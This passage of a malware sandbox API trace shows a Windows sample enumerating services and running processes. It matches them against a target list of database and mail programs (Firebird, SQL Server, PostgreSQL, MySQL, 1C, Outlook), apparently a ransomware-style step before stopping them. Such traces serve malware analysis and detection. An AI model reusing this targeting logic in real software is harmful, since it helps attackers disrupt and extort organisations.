Flags=0x0, Size=0x11e4) returned 0x428e0b8 [0168.452] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428e0b8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428e0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0168.453] CloseServiceHandle (hSCObject=0x428b6b8) returned 1 [0168.453] lstrlenW (lpString="Appinfo") returned 7 [0168.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.453] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.453] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.453] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.453] lstrlenW (lpString="AudioSrv") returned 8 [0168.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.454] lstrlenW (lpString="BFE") returned 3 [0168.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.454] lstrlenW (lpString="CryptSvc") returned 8 [0168.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.454] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.454] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.454] lstrlenW (lpString="CscService") returned 10 [0168.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.454] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.454] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.454] lstrlenW (lpString="DcomLaunch") returned 10 [0168.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.454] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.454] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.454] lstrlenW (lpString="Dhcp") returned 4 [0168.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.455] lstrlenW (lpString="Dnscache") returned 8 [0168.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.455] lstrlenW (lpString="DPS") returned 3 [0168.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.455] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.455] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.455] lstrlenW (lpString="eventlog") returned 8 [0168.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.455] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.455] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.455] lstrlenW (lpString="EventSystem") returned 11 [0168.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.455] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.455] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.456] lstrlenW (lpString="gpsvc") returned 5 [0168.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.456] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.456] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.456] lstrlenW (lpString="iphlpsvc") returned 8 [0168.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.456] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.456] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.456] lstrlenW (lpString="LanmanServer") returned 12 [0168.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.456] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.456] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.456] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.456] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.456] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.456] lstrlenW (lpString="lmhosts") returned 7 [0168.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.457] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.457] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.457] lstrlenW (lpString="MMCSS") returned 5 [0168.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.457] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.457] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.457] lstrlenW (lpString="MpsSvc") returned 6 [0168.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.457] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.457] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.457] lstrlenW (lpString="Netman") returned 6 [0168.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.457] lstrlenW (lpString="netprofm") returned 8 [0168.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.457] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.457] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.457] lstrlenW (lpString="NlaSvc") returned 6 [0168.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.458] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.458] lstrlenW (lpString="nsi") returned 3 [0168.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.458] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.458] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.458] lstrlenW (lpString="PcaSvc") returned 6 [0168.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.458] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.458] lstrlenW (lpString="PlugPlay") returned 8 [0168.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.458] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.458] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.458] lstrlenW (lpString="Power") returned 5 [0168.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.459] lstrlenW (lpString="ProfSvc") returned 7 [0168.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.459] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.459] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.459] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.459] lstrlenW (lpString="RpcSs") returned 5 [0168.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.459] lstrlenW (lpString="SamSs") returned 5 [0168.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.459] lstrlenW (lpString="Schedule") returned 8 [0168.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.460] lstrlenW (lpString="SENS") returned 4 [0168.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.460] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.460] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.460] lstrlenW (lpString="Spooler") returned 7 [0168.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.460] lstrlenW (lpString="SysMain") returned 7 [0168.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.460] lstrlenW (lpString="Themes") returned 6 [0168.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.461] lstrlenW (lpString="TrkWks") returned 6 [0168.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.461] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.461] lstrlenW (lpString="UxSms") returned 5 [0168.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.461] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.461] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.461] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.461] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.461] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.461] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.461] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.462] lstrlenW (lpString="Winmgmt") returned 7 [0168.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.462] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.462] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.462] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428e0b8 | out: hHeap=0x880000) returned 1 [0168.462] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0168.465] Process32FirstW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.465] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.466] lstrlenW (lpString="System") returned 6 [0168.466] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.466] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.466] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.466] lstrlenW (lpString="smss.exe") returned 8 [0168.466] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.466] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.466] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.466] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.466] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0168.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.467] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.467] lstrlenW (lpString="csrss.exe") returned 9 [0168.467] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.467] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.467] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.467] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.468] lstrlenW (lpString="wininit.exe") returned 11 [0168.468] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.468] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.468] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.469] lstrlenW (lpString="csrss.exe") returned 9 [0168.469] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.469] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.469] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.469] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.469] lstrlenW (lpString="winlogon.exe") returned 12 [0168.469] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.470] lstrlenW (lpString="services.exe") returned 12 [0168.470] Process32NextW (in: hSnapshot=0x180, 